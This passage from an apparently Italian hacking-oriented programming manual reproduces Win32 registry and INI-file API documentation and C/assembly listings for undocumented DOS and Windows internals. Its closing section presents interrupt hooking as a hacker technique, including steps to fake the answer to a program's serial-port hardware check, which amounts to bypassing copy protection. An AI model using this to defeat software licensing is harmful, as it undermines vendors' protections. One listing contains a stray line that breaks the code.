If the function fails, the return value is a nonzero error code defined in WINERROR.H. You can use the FormatMessage function with the FORMAT_MESSAGE_FROM_SYSTEM flag to get a generic description of the error.

Remarks

If the key specified by the lpSubKey parameter does not exist, the RegSetValue function creates it.

Value lengths are limited by available memory. Long values (more than 2048 bytes) should be stored as files with the filenames stored in the registry. This helps the registry perform efficiently.

The key identified by the hKey parameter must have been opened with KEY_SET_VALUE access. To open the key, use the RegCreateKeyEx or RegOpenKeyEx function. If the ANSI version of this function is used (either by explicitly calling RegSetValue or by not defining Unicode before including the WINDOWS.H file), the lpData parameter must be an ANSI character string. The string is converted to Unicode before it is stored in the registry.

See Also

RegCreateKeyEx, RegFlushKey, RegOpenKeyEx, RegQueryValue

WritePrivateProfileString

The WritePrivateProfileString function copies a string into the specified section of the specified initialization file.

This function is provided for compatibility with 16-bit Windows-based applications. WIn32-based applications should store initialization information in the registry.

```
BOOL WritePrivateProfileString(

LPCTSTR lpAppName,            // pointer to section name
LPCTSTR lpKeyName,            // pointer to key name
LPCTSTR lpString,             // pointer to string to add
LPCTSTR lpFileName            // pointer to initialization filename
);
```

Parameters

lpAppName

Points to a null-terminated string containing the name of the section to which the string will be copied. If the section does not exist, it is created. The name of the section is case-independent; the string can be any combination of uppercase and lowercase letters.

lpKeyName

Points to the null-terminated string containing the name of the key to be associated with a string. If the key does not exist in the specified section, it is created. If this parameter is NULL, the entire section, including all entries within the section, is deleted.

lpString

Points to a null-terminated string to be written to the file. If this parameter is NULL, the key pointed to by the lpKeyName parameter is deleted.

Windows 95: This platform does not support the use of the TAB (\t) character as part of this parameter.

lpFileName

Points to a null-terminated string that names the initialization file.

Return Values

If the function successfully copies the string to the initialization file, the return value is nonzero.

If the function fails, or if it flushes the cached version of the most recently accessed initialization file, the return value is zero. To get extended error information, call GetLastError.

Remarks

Windows 95:

Windows 95 keeps a cached version of WIN.INI to improve performance. If all three parameters are NULL, the function flushes the cache. The function always returns FALSE after flushing the cache, regardless of whether the flush succeeds or fails.

A section in the initialization file must have the following form:

```
[section]
key=string
      .
      .
      .
```

If the lpFileName parameter does not contain a full path and filename for the file, WritePrivateProfileString searches the Windows directory for the file. If the file does not exist, this function creates the file in the Windows directory.

If lpFileName contains a full path and filename and the file does not exist, WriteProfileString creates the file. The specified directory must already exist.

Windows NT:

Windows NT maps most .INI file references to the registry, using the mapping defined under the following registry key:

HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows NT\CurrentVersion\IniFileMapping

Windows NT keeps a cache for the IniFileMapping registry key. Calling WritePrivateProfileStringW with the value of all arguments set to NULL will cause Windows NT to refresh its cache of the IniFileMappingKey for the specified .INI file.

The Win32 Profile functions (Get/WriteProfile*, Get/WritePrivateProfile*) use the following steps to locate initialization information:

1. Look in the registry for the name of the initialization file, say myfile.ini, under IniFileMapping:

HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows NT\CurrentVersion\IniFileMapping\myfile.ini

2. Look for the section name specified by lpAppName. This will be a named value under myfile.ini, or a subkey of myfile.ini, or will not exist.

3. If the section name specified by lpAppName is a named value under myfile.ini, then that value specifies where in the registry you will find the keys for the section.

4. If the section name specified by lpAppName is a subkey of myfile.ini, then named values under that subkey specify where in the registry you will find the keys for the section. If the key you are looking for does not exist as a named value, then there will be an unnamed value (shown as "<No Name>") that specifies the default location in the registry where you will find the key.

5. If the section name specified by lpAppName does not exist as a named value or as a subkey under myfile.ini, then there will be an unnamed value (shown as "<No Name>") under myfile.ini that specifies the default location in the registry where you will find the keys for the section.

6. If there is no subkey for myfile.ini, or if there is no entry for the section name, then look for the actual myfile.ini on the disk and read its contents.

When looking at values in the registry that specify other registry locations, there are several prefixes that change the behavior of the ini file mapping:

! - this character forces all writes to go both to the registry and to the .INI file on disk.

- this character causes the registry value to be set to the value in the Windows 3.1 .INI file when a new user logs in for the first time after setup.

@ - this character prevents any reads from going to the .INI file on disk if the requested data is not found in the registry.

USR: - this prefix stands for HKEY_CURRENT_USER, and the text after the prefix is relative to that key.

SYS: - this prefix stands for HKEY_LOCAL_MACHINE\SOFTWARE, and the text after the prefix is relative to that key.

An application using the WritePrivateProfileStringW function to enter .INI file information into the registry should follow these guidelines:

· Ensure that no .INI file of the specified name exists on the system.

· Ensure that there is a key entry in the registry that specifies the .INI file. This entry should be under the path HKEY_LOCAL_MACHINE\SOFTWARE \Microsoft\Windows NT\CurrentVersion\IniFileMapping.

· Specify a value for that .INI file key entry that specifies a section. That is to say, an application must specify a section name, as it would appear within an .INI file or registry entry. Here is an example: [My Section].

· For system files, specify SYS for an added value.

· For application files, specify USR within the added value. Here is an example: "My Section: USR: App Name\Section". And, since USR indicates a mapping under HKEY_CURRENT_USER, the application should also create a key under HKEY_CURRENT_USER that specifies the application name listed in the added value. For the example just given, that would be "App Name".

· After following the preceding steps, an application setup program should call WritePrivateProfileStringW with the first three parameters set to NULL, and the fourth parameter set to the INI filename. For example:

```
WritePrivateProfileStringW( NULL, NULL, NULL, L"appname.ini" );
```

· Such a call causes the mapping of an .INI file to the registry to take effect before the next system reboot. The operating system re-reads the mapping information into shared memory. A user will not have to reboot their computer after installing an application in order to have future invocations of the application see the mapping of the .INI file to the registry.

The following sample code illustrates the preceding guidelines and is based on several assumptions:

· There is an application named "App Name."

· That application uses an .INI file named "appname.ini."

· There is a section in the .INI file that we want to look like this:

```
[Section1]
  FirstKey = It all worked out okay.
  SecondKey = By golly, it works.
  ThirdKey = Another test.
```

· The user will not have to reboot the system in order to have future invocations of the application see the mapping of the .INI file to the registry.

Here is the sample code :

```
// include files
#include <stdio.h>
#include <windows.h>

// a main function
main()

{
  // local variables
```

```
CHAR inBuf[80];
HKEY  hKey1, hKey2;
DWORD  dwDisposition;
LONG   lRetCode;

// try to create the .INI file key
lRetCode = RegCreateKeyEx ( HKEY_LOCAL_MACHINE,
                            "SOFTWARE\\Microsoft\\Windows NT
                             \\CurrentVersion\\IniFileMapping\\appname.ini",
                            0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE,

                            NULL, &hKey1,
                            &dwDisposition);

// if we failed, note it, and leave
if (lRetCode != ERROR_SUCCESS){
  printf ("Error in creating appname.ini key\n");
  return (0) ;
  }

// try to set a section value
lRetCode = RegSetValueEx ( hKey1,
                           "Section1",
                           0,
                           REG_SZ,
                           "USR:App Name\\Section1",

                           20);

// if we failed, note it, and leave
if (lRetCode != ERROR_SUCCESS) {
  printf ( "Error in setting Section1 value\n");
  return (0) ;
  }

// try to create an App Name key
lRetCode = RegCreateKeyEx ( HKEY_CURRENT_USER,
                            "App Name",
                            0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE,
                            NULL, &hKey2,
                            &dwDisposition);


// if we failed, note it, and leave
if (lRetCode != ERROR_SUCCESS) {
  printf ("Error in creating App Name key\n");
  return (0) ;
  }

// force the operating system to re-read the mapping into shared memory
//    so that future invocations of the application will see it
//    without the user having to reboot the system
WritePrivateProfileStringW( NULL, NULL, NULL, L"appname.ini" );

// if we get this far, all has gone well
// let's write some added values

WritePrivateProfileString ("Section1", "FirstKey",
                           "It all worked out okay.", "appname.ini");
WritePrivateProfileString ("Section1", "SecondKey",
                           "By golly, it works.", "appname.ini");
WritePrivateProfileSection ("Section1", "ThirdKey = Another Test.",
                            "appname.ini");
```

```
  // let's test our work
  GetPrivateProfileString ("Section1", "FirstKey",
                           "Bogus Value: Get didn't work", inBuf, 80,

                           "appname.ini");
  printf ("%s", inBuf);

  // okay, we are outta here
  return(0);

}
```

See Also

GetPrivateProfileString

GetPrivateProfileSection

The GetPrivateProfileSection function retrieves all of the keys and values for the specified section from an initialization file. This function is provided for compatibility with 16-bit applications written for Windows. Win32-based applications should store initialization information in the registry.

Windows 95:

The specified profile section must not exceed 32K.

Windows NT:

The specified profile section has no size limit.

```
DWORD GetPrivateProfileSection(
LPCTSTR lpAppName,       // address of section name

LPTSTR lpReturnedString, // address of return buffer
DWORD nSize,                    // size of return buffer
LPCTSTR lpFileName          // address of initialization filename
);
```

Parameters

lpAppName

Points to a null-terminated string containing the section name in the initialization file.

lpReturnedString

Points to a buffer that receives the key name and value pairs associated with the named section. The buffer is filled with one or more null-terminated strings; the last string is followed by a second null character.

nSize

Specifies the size, in characters, of the buffer pointed to by the lpReturnedString parameter.

Windows 95:

The maximum buffer size is 32,767 characters.

Windows NT:

There is no maximum buffer size.

lpFileName

Points to a null-terminated string that names the initialization file. If this parameter does not contain a full path to the file, Windows searches for the file in the Windows directory.

Return Values

The return value specifies the number of characters copied to the buffer, not including the terminating null character. If the buffer is not large enough to contain all the key name and value pairs associated with the named section, the return value is equal to nSize minus two.

Remarks

The data in the buffer pointed to by the lpReturnedString parameter consists of one or more null-terminated strings, followed by a final null character. Each string has the following format:

key=string

The GetPrivateProfileSection function is not case-sensitive; the string pointed to by the lpAppName parameter can be a combination of uppercase and lowercase letters.

This operation is atomic; no updates to the specified initialization file are allowed while the key name and value pairs for the section are being copied to the buffer pointed to by the lpReturnedString parameter.

Windows NT:

Calls to private profile functions may be mapped to the registry instead of to the specified initialization files. This mapping occurs when the initialization file and section are specified in the registry under the following keys:

HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows NT\CurrentVersion\IniFileMapping

This mapping is likely if an application modifies system-component initialization files, such as CONTROL.INI, SYSTEM.INI, and WINFILE.INI. In these cases, the GetPrivateProfileSection function retrieves information from the registry, not from the initialization file; the change in the storage location has no effect on the function's behavior.

The Win32 Profile functions (Get/WriteProfile*, Get/WritePrivateProfile*) use the following steps to locate initialization information:

1. Look in the registry for the name of the initialization file, say myfile.ini, under IniFileMapping:

HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows NT\CurrentVersion\IniFileMapping\myfile.ini

2. Look for the section name specified by lpAppName. This will be a named value under myfile.ini, or a subkey of myfile.ini, or will not exist.

3. If the section name specified by lpAppName is a named value under myfile.ini, then that value specifies where in the registry you will find the keys for the section.

4. If the section name specified by lpAppName is a subkey of myfile.ini, then named values under that subkey specify where in the registry you will find the keys for the section. If the key you are looking for does not exist as a named value, then there will be an unnamed value (shown as "<No Name>") that specifies the default location in the registry where you will find the key.

5. If the section name specified by lpAppName does not exist as a named value or as a subkey under myfile.ini, then there will be an unnamed value (shown as "<No Name>") under myfile.ini that specifies the default location in the registry where you will find the keys for the section.

6. If there is no subkey for myfile.ini, or if there is no entry for the section name, then look for the actual myfile.ini on the disk and read its contents.

When looking at values in the registry that specify other registry locations, there are several prefixes that change the behavior of the ini file mapping:

! - this character forces all writes to go both to the registry and to the .INI file on disk.

- this character causes the registry value to be set to the value in the Windows 3.1 .INI file when a new user logs in for the first time after setup.

@ - this character prevents any reads from going to the .INI file on disk if the requested data is not found in the registry.

USR: - this prefix stands for HKEY_CURRENT_USER, and the text after the prefix is relative to that key.

SYS: - this prefix stands for HKEY_LOCAL_MACHINE\SOFTWARE, and the text after the prefix is relative to that key.

See Also

GetProfileInt

RegDeleteValue

The RegDeleteValue function removes a named value from the specified registry key.

```
LONG RegDeleteValue(

HKEY hKey,              // handle of key
LPCTSTR lpValueName           // address of value name
);
```

Parameters

hKey

Identifies a currently open key or any of the following predefined reserved handle values:

HKEY_CLASSES_ROOT
HKEY_CURRENT_USER
HKEY_LOCAL_MACHINE
HKEY_USERS

lpValueName

Points to a null-terminated string that names the value to remove. If this parameter is NULL or points to an empty string, the value set by the RegSetValue function is removed.

Return Values

If the function succeeds, the return value is ERROR_SUCCESS.

If the function fails, the return value is a nonzero error code defined in WINERROR.H. You can use the FormatMessage function with the FORMAT_MESSAGE_FROM_SYSTEM flag to get a generic description of the error.

Remarks

The key identified by the hKey parameter must have been opened with KEY_SET_VALUE access (KEY_WRITE access includes KEY_SET_VALUE access).

See Also

RegSetValue

ALCUNI SEGRETI DI WINDOWS

Fino ad ora le api viste erano relative alle funzioni documentate.
Per motivi di mancata sicurezza nei confronti della possibilità di far rimenere presenti nelle successive versioni di Windows, alcune funzioni non sono state documentate.
Qui ne vedremo alcune riportando anche i sorgenti C di alcune di loro.

TESTA IL BIT PE (PROTECT ENABLE) NELLA MSW (Machine Status Word)

```
/* bcc –2 pe.c */

#include <stdio.h>

main()
{
      unsigned msw;
      unsigned iopl;

      _asm pushf
      _asm pop ax
      _asm shr ax, 12
      _asm and ax, 3
      _asm mov word ptr iopl, ax
      printf("IOPL=%d\n", iopl);

      _asm smsw ax            /* Store Machine Status Word: low CR0 */
      _asm mov msw, ax
      printf("PE (protect enable) bit %s\n",
            (msw & 1) ? "SET" : "NOT set");
      return (msw & 1);
}
```

Virtual-8086 (V86) VxD APIs

```
#include <stdio.h>
#include <dos.h>

typedef unsigned char BYTE;
```

```
typedef unsigned short WORD;
typedef unsigned long DWORD;

typedef DWORD (far *FUNCPTR)(void);

// call the Windows "Get Device Entry Point Address" function
// Interrupt 2Fh Function 1684h
FUNCPTR GetDeviceAPI(WORD vxd_id)
{
      _asm {
            push di
            push es
            xor di, di
            mov es, di
            mov ax, 1684h
            mov bx, vxd_id
            int 2fh
            mov ax, di
            mov dx, es
            pop es
            pop di
            }
    // return value in DX:AX
}

int IsEnhancedMode(void)
{
      _asm {
            mov ax, 1600h
            int 2fh
            test al, 7fh
            jz no
            }
      return 1;
no: return 0;
}
void fail(const char *s, ...) { puts(s); exit(1); }
int main()
{
    WORD i;
    FUNCPTR fp;

      if (! IsEnhancedMode())
            fail("This program requires Windows Enhanced mode");

    puts("Virtual-8086 (V86) VxD APIs:");
    // for each possible device id, see if there's an API
    for (i=0; i<0xffff; i++)
        if (fp = GetDeviceAPI(i))
            printf("%04Xh   %Fp   %0lX   %02X\n",
                        i,                      // VxD ID
                        fp,                     // V86 entry point
                        ((DWORD) FP_SEG(fp) << 4) + FP_OFF(fp),  // linear addr
                        *((BYTE far *) fp));                          // byte
(ARPL)
      return 0;
}
```

Toy Win16 Server for FWORD.C (Win32->Win16 Thunk demo)

```
/*
Win32 app can call INT 21h, INT 2Fh, or INT 31h via INTSERV

bcc -W -3 -B intserv.c
```

```
from Schulman, Unauthorized Windows, 1994
*/

#include <stdlib.h>
#include <stdio.h>
#include <dos.h>
#define NOGDI
#include "windows.h"

static char dummy;      // just something to take seg of

// static vars:  only one caller at a time
#define SERVER(calls,intno) { \
      static char stack[1024]; \
      static unsigned stack_seg; \
      static unsigned prev_seg; \
      static unsigned long prev_ofs; \
      static unsigned prev_ds; \
      _asm { \
            push ax; \
            push bx; \
            mov ax, ds; \
            mov bx, seg dummy; \
            mov ds, bx; \
            mov stack_seg, bx; \
            mov prev_ds, ax; \
            pop bx; \
            pop ax; \
            mov prev_seg, ss; \
            mov dword ptr prev_ofs, esp; \
            mov ss, stack_seg; \
            mov sp, offset stack; \
            add sp, 512; \
      } \
      calls++; \
      _asm { \
            int intno; \
            mov ss, prev_seg; \
            mov esp, dword ptr prev_ofs; \
            mov ds, prev_ds; \
            db 66h; \
            retf; \
      } \
}

unsigned long calls21 = 0;
unsigned long calls2F = 0;
unsigned long calls31 = 0;

void server21(void) { SERVER(calls21, 0x21); }
void server2F(void) { SERVER(calls2F, 0x2F); }
void server31(void) { SERVER(calls31, 0x31); }

int PASCAL WinMain(HANDLE hInstance, HANDLE hprev21Instance,
    LPSTR lpszCmdLine, int nCmdShow)
{
      char buf[120];
      int len;

      len = sprintf(buf, "INT 21h server @ %Fp\n", (void far *) server21);
      len += sprintf(buf+len, "INT 2Fh server @ %Fp\n", (void far *) server2F);
      len += sprintf(buf+len, "INT 31h server @ %Fp", (void far *) server31);
```

```
      MessageBox(0, buf, "INTSERV", MB_OK);

      // servers are active until click MB_OK above

      len = sprintf(buf, "%lu calls to INT 21h server\n", calls21);
      len += sprintf(buf+len, "%lu calls to INT 2Fh server\n", calls2F);
      len += sprintf(buf+len, "%lu calls to INT 31h server", calls31);
      MessageBox(0, buf, "INTSERV", MB_OK);
      return 0;
}
```

MAPPA I DEVICE IN MEMORIA

```
/*
MAP.C
from "Undocumented DOS", 2nd edition (Addison-Wesley, 1993)

bcc intvect.c map.c
bcc intchain.c map.c
bcc -DTESTING map.c
*/

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <dos.h>

typedef unsigned char BYTE;
typedef unsigned short WORD;
typedef unsigned long DWORD;
typedef void far *FP;

#ifndef MK_FP
#define MK_FP(s,o)      ((((DWORD) s) << 16) + (o))
#endif

#pragma pack(1)

typedef struct {
    DWORD start, end;
    char name[9];
    } BLOCK;

static BLOCK *map;
static int num_block = 0;

int cmp_func(const void *b1, const void *b2)
{
    if (((BLOCK *) b1)->start < ((BLOCK *) b2)->start)       return -1;
    else if (((BLOCK *) b1)->start > ((BLOCK *) b2)->start)  return 1;
    else                                                      return 0;
}

typedef struct {
    BYTE type;          /* 'M'=in chain; 'Z'=at end */
    WORD owner;         /* PSP of the owner */
    WORD size;          /* in 16-byte paragraphs */
    BYTE unused[3];
    BYTE name[8];       /* in DOS 4+ */
    } MCB;

#define IS_PSP(mcb)     (FP_SEG(mcb) + 1 == (mcb)->owner)
```

```
WORD get_first_mcb(void)
{
    _asm mov ah, 52h
    _asm int 21h
    _asm mov ax, es:[bx-2]
    // retval in AX
}

typedef struct DEV {
    struct DEV far *next;
    WORD attr, strategy, intr;
    union {
        BYTE name[8], blk_cnt;
        } u;
    } DEV;

#define IS_CHAR_DEV(dev)    ((dev)->attr & (1 << 15))

DEV far *get_nul_dev(void)
{
    _asm mov ah, 52h
    _asm int 21h
    _asm mov dx, es
    _asm lea ax, [bx+22h]
    // retval in DX:AX
}

int get_num_block_dev(DEV far *dev)
{
      // can't rely on # block devices at SysVars+20?
      int num_blk = 0;
      do {
            if (! IS_CHAR_DEV(dev))
                  num_blk += dev->u.blk_cnt;
            dev = dev->next;
      } while(FP_OFF(dev->next) != (WORD) -1);
      return num_blk;
}

WORD get_umb_link(void)
{
    _asm mov ax, 5802h
    _asm int 21h
    _asm xor ah, ah
    // return value in AX
}

WORD set_umb_link(WORD flag)
{
    _asm mov ax, 5803h
    _asm mov bx, flag
    _asm int 21h
    _asm jc error
    _asm xor ax, ax
error:;
    // return 0 or error code in AX
}

WORD get_dos_ds(void)
{
    _asm push ds
    _asm mov ax, 1203h
    _asm int 2fh
```

```
    _asm mov ax, ds
    _asm pop ds
    // retval in AX
}

/* find IO.SYS segment with built-in drivers */
WORD get_io_seg(void)
{
    WORD io_seg = 0;
    DEV far *dev = get_nul_dev();
    do {
        if (IS_CHAR_DEV(dev))
            if (_fstrncmp(dev->u.name, "CON     ", 8) == 0)
                io_seg = FP_SEG(dev);   // we'll take the last one
        dev = dev->next;
    } while(FP_OFF(dev->next) != (WORD) -1);
    return io_seg;
}

static int did_init = 0;

void do_init(void)
{
    MCB far *mcb;
    DEV far *dev;
    WORD dos_ds, io_seg, mcb_seg, next_seg, save_link;
    BLOCK *block;
    int blk, i;

    map = (BLOCK *) calloc(100, sizeof(BLOCK));
    block = map;

    io_seg = get_io_seg();
    block->start = io_seg << 4; block->end = (DWORD) -1;
    strcpy(block->name, "IO");
    block++;

    dos_ds = get_dos_ds();
    block->start = dos_ds << 4; block->end = (DWORD) -1;
    strcpy(block->name, "DOS");
    block++;

      // should really check if there IS an HMA!
    block->start = 0x100000L;   block->end =  0x10FFEEL;
    strcpy(block->name, "HMA");
    block++;
    num_block = 3;

    /* walk MCB chain, looking for PSPs, interrupt owners */
    if (_osmajor >= 4)
    {
        mcb_seg = get_first_mcb();
        mcb = (MCB far *) MK_FP(mcb_seg, 0);

        if (_osmajor >= 5)  // be lazy; see ch. 7 for DOS < 5
        {
            save_link = get_umb_link();
            set_umb_link(1);    // access UMBs too
        }

        for (;;)
        {
            next_seg = mcb_seg + mcb->size + 1;
```

```
        if (IS_PSP(mcb))
        {
            block->start = ((DWORD) mcb_seg) << 4;
            block->end = ((DWORD) next_seg) << 4;
            _fstrncpy(block->name, mcb->name, 8);
            block->name[8] = '\0';
            block++;
            num_block++;
        }
        mcb_seg = next_seg;

        if (mcb->type == 'M')
            mcb = (MCB far *) MK_FP(next_seg, 0);
        else
            break;
    }
}

/* walk device chain looking for non-builtin drivers */
dev = get_nul_dev();
blk = get_num_block_dev(dev);
do {
    MCB far *dev_mcb;
    if ((FP_SEG(dev) != dos_ds) && (FP_SEG(dev) != io_seg))
    {
        block->start = (((DWORD) FP_SEG(dev)) << 4) + FP_OFF(dev);
        dev_mcb = (MCB far *) MK_FP(FP_SEG(dev)-1,0);
        if (dev_mcb->owner == 8)
        {
            dev = dev->next;
            continue;
        }
        if (dev_mcb->type == 'M')
            block->end = block->start + ((DWORD) dev_mcb->size << 4);
        else
            block->end = (DWORD) -1;
        if (IS_CHAR_DEV(dev))
        {
            _fstrncpy(block->name, dev->u.name, 8);
            block->name[8] = '\0';
        }
        else
        {
                    // to determine drive letter, have to work backwards
                    // from number of block devices
            blk -= dev->u.blk_cnt;
            block->name[0] = blk + 'A';
            block->name[1] = ':';
            block->name[2] = '\0';
        }
        block++;
        num_block++;
    }
    dev = dev->next;
} while(FP_OFF(dev->next) != (WORD) -1);

if (_osmajor >= 5)
    set_umb_link(save_link);

qsort(map, num_block, sizeof(BLOCK), cmp_func);

for (i=0, block=map; i<num_block-1; i++, block++)
    if (block->end == (DWORD) -1)
```

```
            block->end = map[i+1].start;
    if (block->end == (DWORD) -1)   // last one
        block->end = 0xFFFFFL;

    did_init = 1;
}

char *find_owner(DWORD lin_addr)
{
    BLOCK *block;
    int i;

    if (! did_init)
        do_init();

    for (i=0, block=map; i<num_block; i++, block++)
        if ((lin_addr >= block->start) &&
            (lin_addr <= block->end))
            return block->name;

    /* still here */
    return (char *) 0;
}

#ifdef TESTING
main()
{
    BLOCK *block;
    int i;
    do_init();
    for (i=0, block=map; i<num_block; i++, block++)
        printf("%08lX   %08lX   %s\n",
            block->start, block->end, block->name);
}
#endif
```

Detecting Windows mode, version from DOS

```
/*
ISWIN.C
Andrew Schulman, February 1993
from "Undocumented DOS", 2nd edition (Addison-Wesley, 1993)

bcc -DSTANDALONE iswin.c
*/

#include <stdlib.h>
#include <stdio.h>
#include <dos.h>

#define REAL_MODE           1
#define STANDARD_MODE       2
#define ENHANCED_MODE       3

#define SYSTEM_VM           1

int detect_switcher(void)
{
    int retval = 1;
    _asm push di
    _asm push es
    _asm xor bx, bx
    _asm mov di, bx
```

```
    _asm mov es, bx
    _asm mov ax, 4b02h
    _asm int 2fh
    _asm mov cx, es
    _asm or cx, di
    _asm je no_switcher
done:
    _asm pop es
    _asm pop di
    return retval;
no_switcher:
    retval = 0;
    goto done;
}

int is_win(int *pmaj, int *pmin, int *pmode)
{
    unsigned short retval;
    int maj=0, min=0, mode=0;

    /* make sure someone, anyone has INT 2Fh */
    if (_dos_getvect(0x2F) == 0)
        return 0;

    /* call 2F/160A to see if Windows 3.1+ */
    _asm mov ax, 160ah
    _asm int 2fh
    _asm mov retval, ax
    if (retval == 0)                /* AX=0 if Windows running */
    {
        _asm mov mode, cx           /* CX=2 means Std; CX=3 means Enh */
        _asm mov byte ptr maj, bh   /* BX = major/minor (e.g., 030Ah) */
        _asm mov byte ptr min, bl
        *pmaj = maj;
        *pmin = min;
        *pmode = mode;
        return 1;
    }

    /* call 2F/1600 to see if Windows 3.0 Enhanced mode or Windows/386 */
    _asm mov ax, 1600h
    _asm int 2fh
    _asm mov byte ptr maj, al
    _asm mov byte ptr min, ah
    if ((maj == 1) || (maj == 0xFF))    /* Windows/386 2.x is running */
    {
        *pmaj = 2;              /* Windows/386 2.x */
        *pmin = 1;              /* don't know; assume 2.1? */
        *pmode = ENHANCED_MODE; /* Windows/386 sort of like Enhanced */
        return 1;
    }
    else if (! ((maj == 0) || (maj == 0x80))) /* AL=0 or 80h if no Windows */
    {   /* must be Windows 3.0 Enhanced mode */
        *pmaj = maj;
        *pmin = min;
        *pmode = ENHANCED_MODE;
        return 1;
    }

    /* call 2F/4680 to see if Windows 3.0 Standard or Real mode; but,
       this could be a "3.0 derivative" such as DOSSHELL task switcher! */
    _asm mov ax, 4680h
    _asm int 2fh
```

```
    _asm mov retval, ax
    if (retval == 0)            /* AX=0 if 2F/4680 handled */
    {
        /* make sure it isn't DOSSHELL task switcher */
        if (detect_switcher())
            return 0;
        *pmaj = 3;
        *pmin = 0;

        /* either have Windows Standard mode or Real mode; to
           distinguish, have to do fake Windows broadcasts with
           2F/1605.  Yuk!  We'll avoid that here by assuming
           3.0 Standard mode.  If you really want to distinguish
           3.0 Standard mode and Real mode, see _MSJ_, March 1991,
           p. 113; and MS KB articles Q75943 and Q75338 */
        *pmode = STANDARD_MODE;
        return 1;
    }

    /* still here -- must not be running Windows */
    return 0;
}

#ifdef STANDALONE
main()
{
    int maj, min, mode=0;
    if (! is_win(&maj, &min, &mode))
        printf("Windows is not running\n");
    else if (maj == 2)
        printf("Running Windows/386 2.x\n");
    else
        printf("Running Windows %u.%02u (or higher) %s mode\n",
            maj,
            min,
            (mode == REAL_MODE) ?     "Real" :
            (mode == STANDARD_MODE) ? "Standard" :
            (mode == ENHANCED_MODE) ? "Enhanced" :
            /* don't know */ "???");

    if (mode == ENHANCED_MODE)
    {
        unsigned short vm;
        /* call 2F/1683 to see if DOS app running in System VM; if so,
           this must be some hacked version of Windows like MSDPMI,
           or we must be running inside WINSTART.BAT */
        _asm mov ax, 1683h
        _asm int 2fh
        _asm mov vm, bx
        if (vm == SYSTEM_VM)
            printf("Running DOS app in System VM: "
                   "Must be WINSTART.BAT or hacked Windows!\n");
        else
            printf("VM #%u\n", vm);
    }

    /* could also call 2F/160C to check for Windows in ROM */

    return mode;    /* can be tested with ERRORLEVEL */
}
#endif
```

SERVIZI D’INTERRUPTS BIOS E DOS

Spesso è necessario intercettare certi interrupts e quindi la cosa fondamentale è conoscere lo scopo di questi.
Alcuni tipi di programmi basano il loro modo di funzionare in rapporto al sistema di gestione degli interrupts.
Nei capitoli precedenti avevo riferito il fatto che nei primi 1024 bytes di memoria sono residenti gli indirizzi dei 256 possibili interrupts per cui, a parte sapere dove sono residenti, sarebbe possibile settare delle nostre routines al posto di questi.
Due funzioni particolari dell’int 21h riportano e settano gli indirizzi degli interrupts per cui volendo sfruttare una di queste possibilità potremmo usare queste al posto di andare a scrivere e leggere direttamente dalla memoria.
Tutti i programmi residenti (TSR) si basano su questa metodologia e tra questa tipologia di programmami troviamo anche i Virus che indipendentemente dal fatto che come scopi siano stupidate, dal punto di vista tecnico spesso sono dei giocattoli ben fatti.
Vedremo anche queste metodologie che spero verranno utilizzate per scopi intelligenti.
La metodologia per la scrittura di questi è interessante anche per quanto riguarda SoftIce.
SoftIce possiede uno dei suoi punti di forza nei breakpoint.
Grazie alla metodologia degli interrupts è possibile espandere le possibilitèà dei breakpoint di SI.
Comunque per questo vi rimando al capitolo relativo a SI.
Quando si scrive una funzione od una procedura normalmente questa viene terminata mediante un’istruzione di RET (return).
Le procedure d’interrupts terminano con l’istruzione IRET (interrupt return).
Molti linguaggi ad alto livello possiedono le specifiche adatte per la scrittura di procedure adatte per essere utilizzate come routines d’interrupt anche se sicuramente la scelta di un linguaggio differente dall’assembler complica certe cose.
Nella scrittura dei programmi residenti (TSR) sorgono alcune problematiche legate alla non rientranza del DOS.
A dire il vero questo era un problema esistente nel 1986, anni in cui scrissi un volume di 400 pagine dedicato alla scrittura dei programmi residenti in Linguaggio C.
Il volume si intitolava “Programmazione a basso livello in Linguaggio C” e se vi interessa sicuramente lo troverete tra i testi PD residenti sulla rete FidoNet.
Essendo questo volume un manuale destinato a trattare tutte le tecniche che spesso sono necessarie agli hacker vi riporto due file che vi permetteranno di scrivere routines d’interrupt in C.
Infatti, com3e dicevo prima, spesso è necessario intercettarli per modificarne il funzionamento.
Supponiamo che un programma interroghi una porta seriale per vedere se è attaccata a questa qualche strano dispositivo hardware.
Per risolvere il problema sarebbe sufficiente eseguire una routine del tipo:

SALVA L’INDIRIZZO DELL’INTERRUPT
SETTA COME INDIRIZZO QUELLO DELLA MIA FUNZIONE
QUANDO VIENE CHIAMATA LA MIA FUNZIONE RITORNA IL VALORE CHE DESIDERO

Il seguente file è per compilatore Borland

- **INT32.MAK**

```
##############################################################################
# INT32.MAK
#
# Copyright (c) 1994 by Borland International
```

```
# All rights reserved.
#
# This is a small library to be used to create thunks for interrupt functions
# in 32bit DOS extended applications.  The  idea  is  to  permit  people  to
# preserve their interrupt functions written in C/C++ to the greatest  extent
# possible  without  adding  compiler  support.  The  argument  layout   for
# interrupt functions supported  here matches  that of  the previous  Borland
# 16bit interrupt functions, except that  the arguments have been widened  to
# 32bits.
#
# See the file t.c for an example of an interrupt function for 32bits.
#
# We are providing a  _makeInt32Thunk function which  constructs a thunk  for
# the C/C++ interrupt functions which loads DS and builds the argument  frame
# as expected.  There is an option in  the thunk creation to allow the  thunk
# to chain to the old handler once the user handler has completed.
#
# void *  _makeInt32Thunk (void *         proc,
#                          void *         dsLoc,
#                          unsigned short chainSel,
#                          unsigned long  chainOffset);
#
# Builds a 32bit interrupt thunk for 'proc'.  'proc' should be an interrupt
# function declared as follows:
#
# void iproc (unsigned long ebp, unsigned long edi, unsigned long esi,
#             unsigned long  ds, unsigned long  es, unsigned long edx,
#             unsigned long ecx, unsigned long ebx, unsigned long ebx,
#             unsigned long eip, unsigned long  cs, unsigned long flags);
#
# 'dsLoc' should be a pointer to  where the DS which the interrupt  procedure
# requires is stored.  The value stored  there will be loaded into DS  before
# your interrupt procedure is called.
#
# 'chainSel' is the optional selector of the interrupt routine that you  want
# to chain to on return from your function.
#
# 'chainOffset' is the optional offset of the interrupt routine that you want
# to chain to on return from your  function.  If this is 0, then no  chaining
# will be performed, and the thunk will return with an IRET instruction.   If
# 'chainOffset' is non-zero, then the  thunk  will  chain  to  the  interrupt
# routine at chainSel:chainOffset with a  48bit  jump  on  return  from  your
# handler.
#
